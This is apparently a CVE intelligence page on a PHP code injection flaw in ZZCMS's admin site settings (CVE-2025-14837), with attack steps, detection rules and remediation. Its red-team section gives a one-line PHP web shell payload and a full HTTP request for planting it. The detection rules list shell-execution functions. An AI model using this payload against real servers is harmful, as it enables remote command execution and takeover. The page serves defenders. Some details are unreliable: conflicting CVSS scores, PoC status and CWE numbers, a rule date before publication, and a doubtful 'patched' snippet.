☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14837

CVE-2025-14837 Code Injection in Zzcms
📅 PUBLISHED: 2025-12-17 23:32 UTC 🔄 UPDATED: 2026-08-18 17:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14837 is a code injection vulnerability in ZZCMS 2025, specifically within the backend website settings module. The flaw resides in the stripfxg function of the /admin/siteconfig.php file, where the icp argument is improperly sanitized, allowing an authenticated administrator to inject arbitrary PHP code. This can lead to remote code execution (RCE) on the server. The exploit has been publicly disclosed, and no official patch is currently available. The CVSS score is 4.7 (Medium), but the actual risk is higher due to the potential for full server compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 4.7 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – An attacker must have administrative access to the ZZCMS backend.
  • User Interaction (UI): None (N) – No user action is needed beyond the attacker's actions.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited data modification possible.
  • Availability (A): Low (L) – Limited service disruption possible.

Threat Level: Medium. While the CVSS score is medium, the actual threat is elevated because the exploit is public and can lead to full server compromise if an attacker gains admin credentials.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) in the stripfxg function within /admin/siteconfig.php. This function is used to sanitize or process the icp parameter, which likely stores ICP (Internet Content Provider) license information. The lack of proper input validation or output escaping allows an attacker to inject PHP code that is then executed by the server.

Attack Flow:

  1. An attacker obtains valid admin credentials (e.g., via phishing, brute force, or other means).
  2. The attacker logs into the ZZCMS backend.
  3. The attacker navigates to the website settings module (/admin/siteconfig.php).
  4. The attacker manipulates the icp parameter to include malicious PHP code, such as <?php system($_GET['cmd']); ?>.
  5. The injected code is stored and executed when the setting is rendered or processed.
  6. The attacker can then execute arbitrary commands on the server by accessing the injected code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// /admin/siteconfig.php
function stripfxg($icp) {
    // Insufficient sanitization
    return $icp;
}

$icp = $_POST['icp'];
$icp = stripfxg($icp);
// Save to database or config file
file_put_contents('config.php', "<?php \$icp = '$icp'; ?>");

Patched Code (Conceptual):

// /admin/siteconfig.php
function stripfxg($icp) {
    // Properly escape or strip dangerous characters
    $icp = htmlspecialchars($icp, ENT_QUOTES, 'UTF-8');
    $icp = addslashes($icp);
    return $icp;
}

$icp = $_POST['icp'];
$icp = stripfxg($icp);
// Save to database or config file using prepared statements or proper escaping
file_put_contents('config.php', "<?php \$icp = '" . addslashes($icp) . "'; ?>");

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  1. Install ZZCMS 2025 on a local server (e.g., XAMPP, LAMP).
  2. Create an admin account.
  3. Log in to the backend.

Exploitation Steps:

  1. Intercept the request to /admin/siteconfig.php using a proxy like Burp Suite.
  2. Modify the icp parameter to include a PHP web shell:
    icp=<?php system($_GET['cmd']); ?>
    
  3. Send the request.
  4. Access the injected code by navigating to the configuration file or the page that renders the ICP value. For example:
    http://target.com/config.php?cmd=id
    
  5. Execute arbitrary commands.

Example Payload:

POST /admin/siteconfig.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

icp=<?php system($_GET['cmd']); ?>&other_params=...

Blue Team (Defender)

Detection Steps:

  1. Monitor for unusual POST requests to /admin/siteconfig.php with suspicious icp values.
  2. Look for PHP code patterns in the icp parameter (e.g., <?php, system, exec, shell_exec).
  3. Check for unexpected files in the web root (e.g., config.php, shell.php).
  4. Review server logs for command execution attempts (e.g., id, whoami, ls).

Indicators of Compromise (IOCs)

  • File Indicators:
    • Suspicious files in the web root (e.g., config.php, shell.php, cmd.php).
    • Modified config.php or similar configuration files containing PHP code.
  • Network Indicators:
    • POST requests to /admin/siteconfig.php with icp parameter containing PHP code.
    • Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
  • Log Indicators:
    • Access logs showing requests to /admin/siteconfig.php with unusual parameters.
    • Error logs showing PHP parse errors or execution of injected code.

Detection Engineering

YARA Rule

rule CVE_2025_14837_ZZCMS_CodeInjection {
    meta:
        description = "Detects PHP code injection in ZZCMS siteconfig.php icp parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14837"
    strings:
        $php_code = /<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/
        $icp_param = "icp="
        $siteconfig = "/admin/siteconfig.php"
    condition:
        $siteconfig and $icp_param and $php_code
}

Sigma Rule

title: CVE-2025-14837 - ZZCMS Backend Code Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit code injection in ZZCMS siteconfig.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/siteconfig.php'
        cs-uri-query|contains: 'icp='
    keywords:
        - '<?php'
        - 'system('
        - 'exec('
        - 'shell_exec('
        - 'passthru('
        - 'eval('
        - 'assert('
    condition: selection and keywords
falsepositives:
    - Legitimate use of PHP code in ICP field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14837 - ZZCMS Backend Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/siteconfig.php"; http_uri; content:"icp="; http_client_body; pcre:"/<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Access: Limit access to the ZZCMS backend to trusted IPs only.
  2. Input Validation: Implement strict input validation for the icp parameter. Use a whitelist of allowed characters (e.g., alphanumeric and limited punctuation).
  3. Output Escaping: Ensure that any user input is properly escaped before being stored or rendered.
  4. Disable PHP Execution: If possible, disable PHP execution in directories where configuration files are stored.

Long-Term Fix:

  • Apply a vendor patch once available.
  • Upgrade to a patched version of ZZCMS.
  • Consider migrating to a more secure CMS.

Workaround:

  • Manually edit the stripfxg function to sanitize input using htmlspecialchars() and addslashes().

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14837/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.